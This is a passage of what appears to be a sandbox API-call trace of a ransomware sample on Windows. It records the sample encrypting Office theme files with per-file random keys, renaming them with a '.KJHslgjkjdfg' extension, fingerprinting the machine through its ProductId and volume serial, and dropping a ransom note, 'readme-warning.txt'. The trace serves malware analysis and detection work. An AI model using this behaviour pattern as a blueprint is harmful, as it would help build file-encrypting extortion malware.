lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.820] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.820] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.820] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.820] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.820] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.820] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.820] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.820] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f4, lpOverlapped=0x0) returned 1 [0149.820] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200) returned 1 [0149.820] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.820] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x200, lpOverlapped=0x0) returned 1 [0149.821] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.821] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.821] SetEndOfFile (hFile=0x118) returned 1 [0149.823] GetProcessHeap () returned 0x2a0000 [0149.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.823] GetProcessHeap () returned 0x2a0000 [0149.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.kjhslgjkjdfg")) returned 1 [0149.836] CloseHandle (hObject=0x118) returned 1 [0149.836] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0149.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.837] GetProcessHeap () returned 0x2a0000 [0149.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.837] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.837] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.837] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0149.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.842] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.842] GetProcessHeap () returned 0x2a0000 [0149.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.842] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.842] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.842] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.842] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.842] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.843] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.843] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.843] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.843] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.843] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.843] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6a29, lpOverlapped=0x0) returned 1 [0149.850] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a30, dwBufLen=0x6a30 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a30) returned 1 [0149.850] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.850] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6a30, lpOverlapped=0x0) returned 1 [0149.850] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.850] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.850] SetEndOfFile (hFile=0x118) returned 1 [0149.853] GetProcessHeap () returned 0x2a0000 [0149.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.853] GetProcessHeap () returned 0x2a0000 [0149.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0149.854] CloseHandle (hObject=0x118) returned 1 [0149.854] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0149.854] GetProcessHeap () returned 0x2a0000 [0149.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0149.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.855] GetProcessHeap () returned 0x2a0000 [0149.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0149.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0149.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.855] GetProcessHeap () returned 0x2a0000 [0149.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0149.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0149.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.855] GetProcessHeap () returned 0x2a0000 [0149.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0149.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0149.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.855] GetProcessHeap () returned 0x2a0000 [0149.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0149.856] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.856] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0149.856] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0149.856] RegCloseKey (hKey=0x118) returned 0x0 [0149.856] GetProcessHeap () returned 0x2a0000 [0149.856] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0149.856] GetProcessHeap () returned 0x2a0000 [0149.856] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.856] GetProcessHeap () returned 0x2a0000 [0149.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.856] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0149.856] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.856] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0149.856] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.857] GetProcessHeap () returned 0x2a0000 [0149.857] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.857] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0149.857] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0149.857] GetProcessHeap () returned 0x2a0000 [0149.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0149.857] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt") returned 80 [0149.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.867] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0149.868] CloseHandle (hObject=0x118) returned 1 [0149.869] GetProcessHeap () returned 0x2a0000 [0149.869] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0149.869] GetProcessHeap () returned 0x2a0000 [0149.869] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0149.869] GetProcessHeap () returned 0x2a0000 [0149.869] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0149.869] GetProcessHeap () returned 0x2a0000 [0149.869] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.869] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0149.869] GetProcessHeap () returned 0x2a0000 [0149.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0149.870] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0149.870] GetProcessHeap () returned 0x2a0000 [0149.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0149.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0149.871] GetProcessHeap () returned 0x2a0000 [0149.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0149.871] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.872] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0149.872] GetProcessHeap () returned 0x2a0000 [0149.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0149.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.872] GetProcessHeap () returned 0x2a0000 [0149.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.872] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.872] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.873] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0149.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.875] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.875] GetProcessHeap () returned 0x2a0000 [0149.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.875] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.875] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.875] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.875] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.875] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.875] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.875] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.875] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.875] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.875] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.876] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x8a1, lpOverlapped=0x0) returned 1 [0149.876] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8b0) returned 1 [0149.876] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.876] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8b0, lpOverlapped=0x0) returned 1 [0149.876] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.876] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.876] SetEndOfFile (hFile=0x118) returned 1 [0149.878] GetProcessHeap () returned 0x2a0000 [0149.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.878] GetProcessHeap () returned 0x2a0000 [0149.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft 